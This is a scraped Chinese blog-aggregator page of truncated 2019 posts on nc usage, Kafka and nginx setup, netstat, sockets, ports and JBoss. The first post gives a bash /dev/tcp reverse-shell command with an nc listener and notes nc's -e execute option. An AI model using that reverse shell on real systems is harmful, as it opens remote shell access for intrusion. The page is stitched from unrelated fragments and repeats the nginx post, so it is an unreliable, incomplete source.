服务器端口

nc命令使用详解

我只是一个虾纸丫 提交于 2019-12-21 02:47:55
反弹shell方法: 反弹端:bash -i >& /dev/tcp/ 10.0.0.1 /8080 0>&1 或 bash -i &> /dev/tcp/ 10.0.0.1 /8080 0>&1 接收端 :nc -l 8080 -vv -------------------------------------------------------- linux下 nc -l 1234 不能与-p -s -z合用 ; -k则必须与 -l 一起使用,用于不间断监听状态 手动运行以UDP的形式来发送数据包 echo "Hello Graylog, let's be friends." | nc -w 1 -u 127.0.0.1 功能说明:功能强大的网络工具 语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] 参  数: -d 后台模式 -------------------------------(只windows下可用) -e prog 程序重定向 ,一旦连接,就执行 [危险!!] (只windows下可用) -g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。 -G<指向器数目> 设置来源路由指向器

filebeat+kafka搭建

被刻印的时光 ゝ 提交于 2019-12-21 01:19:15
简单介绍: 因为Kafka集群是把状态信息保存在Zookeeper中的,并且Kafka的动态扩容是通过Zookeeper来实现的,所以需要优先搭建Zookeerper集群,建立分布式状态管理。开始准备环境,搭建集群: zookeeper是基于Java环境开发的所以需要先安装Java 然后这里使用的zookeeper安装包版本为zookeeper-3.4.14,Kafka的安装包版本为kafka_2.11-2.2.0。 AMQP协议:Advanced Message Queuing Protocol (高级消息队列协议)是一个标准开放的应用层的消息中间件协议。AMQP定义了通过网络发送的字节流的数据格式。因此兼容性非常好,任何实现AMQP协议的程序都可以和与AMQP协议兼容的其他程序交互,可以很容易做到跨语言,跨平台。 一、首先做好kafka 1、准备三台服务器,推荐每台2个G,记得关闭防火墙 server1:10.0.0.41 server2:10.0.0.42 server3:10.0.0.43 2、三台都得配置jdk环境,1.8以上,修改主机名并且配置主机名 10.0.0.41 hostname kafka01 10.0.0.42 hostname kafka02 10.0.0.43 hostname kafka03 cat /etc/hosts 10.0.0.41

nginx虚拟主机配置

那年仲夏 提交于 2019-12-20 19:55:10
在真实的服务器环境,为了充分利用服务器资源,一台nginx web服务器会同时配置N个虚拟主机,这样可以充分利用服务器的资源,方便管理员的统一管理 配置nginx虚拟主机首先肯定要先部署咱们的nginx,具体nginx部署安装请移步 nginx部署 ,配置nginx虚拟主机需要大家了解nginx配置文件以及nginx的各个目录,若需要请移步 nginx目录结构与配置文件详解 配置nginx虚拟主机有三种方法:基于ip地址的虚拟主机、基于域名的虚拟主机以及基于端口的虚拟主机,下面为大家逐一讲解 基于域名的虚拟主机 基于域名的虚拟主机原理:相同IP地址,相同端口、不同的域名。也就是说多个虚拟主机之间共用一个ip地址以及一个端口(80),区分各个主机之间使用不同的域名,当然访问的时候也就只能使用域名进行访问了,基于域名的虚拟主机是最常用的方式 配置: http{ ......省略其他代码 #第一台虚拟主机 server { listen 80; server_name a.jkyst.xyz; #这里域名一定不要重复 access_log logs/a.access.log; #日志需求可以根据自己的要求去做,如果觉得日志无所谓分不分开大可以放到一起 location{ root html/a; #这里是网站的根目录,注意为了测试一定要分开,里面写上不同的html index index

linux的网络端口命令管理

≯℡__Kan透↙ 提交于 2019-12-20 19:32:01
netstat -tunlpa -t或–tcp:显示TCP传输协议的连线状况; -u或–udp:显示UDP传输协议的连线状况; -n或–numeric:直接使用ip地址,而不通过域名服务器; -l或–listening:显示监控中的服务器的Socket; -p或–programs:显示正在使用Socket的程序识别码和程序名称; -a或–all:显示所有连线中的Socket; 来源: CSDN 作者: zp1412601533 链接: https://blog.csdn.net/zp1412601533/article/details/103636596

nginx虚拟主机配置

元气小坏坏 提交于 2019-12-20 18:57:47
在真实的服务器环境,为了充分利用服务器资源,一台nginx web服务器会同时配置N个虚拟主机,这样可以充分利用服务器的资源,方便管理员的统一管理 配置nginx虚拟主机首先肯定要先部署咱们的nginx,具体nginx部署安装请移步 nginx部署 ,配置nginx虚拟主机需要大家了解nginx配置文件以及nginx的各个目录,若需要请移步 nginx目录结构与配置文件详解 配置nginx虚拟主机有三种方法:基于ip地址的虚拟主机、基于域名的虚拟主机以及基于端口的虚拟主机,下面为大家逐一讲解 基于域名的虚拟主机 基于域名的虚拟主机原理:相同IP地址,相同端口、不同的域名。也就是说多个虚拟主机之间共用一个ip地址以及一个端口(80),区分各个主机之间使用不同的域名,当然访问的时候也就只能使用域名进行访问了,基于域名的虚拟主机是最常用的方式 配置: http{ ......省略其他代码 #第一台虚拟主机 server { listen 80; server_name a.jkyst.xyz; #这里域名一定不要重复 access_log logs/a.access.log; #日志需求可以根据自己的要求去做,如果觉得日志无所谓分不分开大可以放到一起 location{ root html/a; #这里是网站的根目录,注意为了测试一定要分开,里面写上不同的html index index

python中的socket通信

别来无恙 提交于 2019-12-20 08:56:37
协议的概念 不同的国家 说不同 的 语言人 门想 沟通 就需要用英语 ,只要有一种大家都认可都遵守的协议即可, 这种方式在 计算机 上要 遵守的网络通信协议叫做 TCP/IP协议 早期的计算机网络,都是由各厂商自己规定一套协议, IBM 、 Apple 和 Microsoft 都有各自的网络协议,互不兼容为了把全世界的所有不同类型的计算机都连接起来,就必须规定一套全球通用的协议,为了实现互联网这个目标,互联网协议簇( Internet Protocol Suite )就是通用协议标准。因为互联网协议包含了上百种协议标准,但是最重要的两个协议是 TCP 和 IP 协议,所以,大家把互联网的协议简称 TCP/IP 协议 常用的四大协议 链路层 -> 网络层 -> 传输层 -> 应用层 分化成 7 层的是 物理层 -> 数据链路层 -> 网络层 -> 传输层 -> 会话层 -> 表示层 -> 应用 tcp/ip 是一个协议组 不是两层 端口的概念 在 linux 系统中,端口可以有 65536 ( 2 的 16 次方)个之多! 既然有这么多,操作系统为了统一管理,所以进行了编号,这就是端口号 端口是通过端口号来标记的,端口号只有整数,范围是从 0到65535 端口(知名端口和动态端口) 知名端口 周知的端口号,范围从 0到1023 好比是 一些常用的功能使用的号码是 固定 的

网络常用端口与协议

[亡魂溺海] 提交于 2019-12-20 04:15:35
网络常用端口与协议 HTTP:80:www服务。 DHCP:服务器端的端口号是67 DHCP:客户机端的端口号是68 POP3:POP3仅仅是接收协议,POP3客户端使用SMTP向服务器发送邮件。POP3所用的端口号是110。 SMTP: 端口号是25。SMTP真正关心的不是邮件如何被传送,而只关心邮件是否能顺利到达目的地。SMTP具有健壮的邮件处理特性,这种特性允许邮件依据一定标 准自动路由,SMTP具有当邮件地址不存在时立即通知用户的能力,并且具有在一定时间内将不可传输的邮件返回发送方的特点。 Telnet:端口号是23。Telnet是一种最老的Internet应用,起源于ARPNET。它的名字是“电信网络协议(Telecommunication Network Protocol)”的缩写。 FTP:FTP使用的端口有20和21。20端口用于数据传输,21端口用于控制信令的传输,控制信息和数据能够同时传输,这是FTP的特殊这处。FTP采用的是TCP连接。 TFTP:端口号69,使用的是UDP的连接。 DNS:53,名称服务 NetBIOS: 137,138,139,其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得 NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS

JBOSS 5.0与tomcat 6.0端口设置

南笙酒味 提交于 2019-12-20 02:14:33
1.JBOSS 5.0端口设置 网上找到了许多关于JBOSS端口设置的,不过最后发现都是一些4.0的端口设置方法,JBOSS 5.0与4.0版本目录结构有很大变化,下面将JBOSS 5.0端口设置方法。 找到目录D:\Program Files (x86)\JavaEE\jboss-5.0.1.GA\server\default\deploy\jbossweb.sar\server.xml,打开server.xml,将原来的 <!-- A HTTP/1.1 Connector on port 8080 --> <Connector protocol="HTTP/1.1" port="8080" address="${jboss.bind.address}" connectionTimeout="20000" redirectPort="8443" /> <!-- Add this option to the connector to avoid problems with .NET clients that don't implement HTTP/1.1 correctly restrictedUserAgents="^.*MS Web Services Client Protocol 1.1.4322.*{1}quot; --> <!-- A AJP 1.3 Connector

互联网基础知识------OSI七层网络模型梗概

生来就可爱ヽ(ⅴ<●) 提交于 2019-12-19 23:36:45
OSI七层模型      七层网络结构:   应用层、表示层、会话层、传输层、网络层、数据链路层、物理层   一般也作五层 应用层、传输层、网络层、数据链路层、物理层(实体层)   引申问题:TCP/IP协议与http协议的区别:     TPC/IP协议是传输层协议,主要解决数据如何在网络中传输,而HTTP是应用层协议,主要解决如何包装数据。 关于TCP/IP和HTTP协议的关系,网络有一段比较容易理解的介绍:“我们在传输数据时,可以只使用(传输层)TCP/IP协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如HTTP、FTP、TELNET等,也可以自己定义应用层协议。WEB使用HTTP协议作应用层协议,以封装HTTP 文本信息,然后使用TCP/IP做传输层协议将它发到网络上。”     术语TCP/IP代表传输控制协议/网际协议,指的是一系列协议。“IP”代表网际协议,TCP和UDP使用该协议从一个网络传送数据包到另一个网络。把 IP想像成一种高速公路 ,它允许其它协议在上面行驶并找到到其它电脑的出口。 TCP和UDP是高速公路上的“卡车”,它们携带的货物就是像HTTP ,文件传输协议FTP这样的协议等。    TCP和UDP是FTP,HTTP和SMTP之类使用的传输层协议

nc命令详解

前提是你 提交于 2019-12-19 06:23:27
一、介绍 nc命令,是一个简单可靠地网络工具 二、语法 nc/netcat(选项)(参数) 三、选项 -g<网关>: 设置路由器远程通信网关,最多设置8个; -G<指向器数目>: 设置来源路由指向器,其数值为4的倍数; -h: 在线帮助; -i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口; -l: 使用监听模式,监控传入的资料; -n: 直接使用ip地址,而不通过域名服务器; -o<输出文件>: 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; -p<通信端口>: 设置本地主机使用的通信端口; -r: 指定源端口和目的端口都进行随机的选择; -s<来源位址>: 设置本地主机送出数据包的IP地址; -u: 使用UDP传输协议; -v: 显示指令执行过程; -w<超时秒数>: 设置等待连线的时间; -z: 使用0输入/输出模式,只在扫描通信端口时使用。 四、参数 主机:指定主机的IP地址或主机名称; 端口号:可以是单个整数或者是一个范围。 五、实例: 1、扫描指定端口 [root@s1 ~]# nc -zw 1 192.168.110.58 80 Connection to 192.168.110.58 80 port [tcp/http] succeeded! #查看 192.168.110.58 上的80端口状态 [root@s1 ~]# nc -zw 1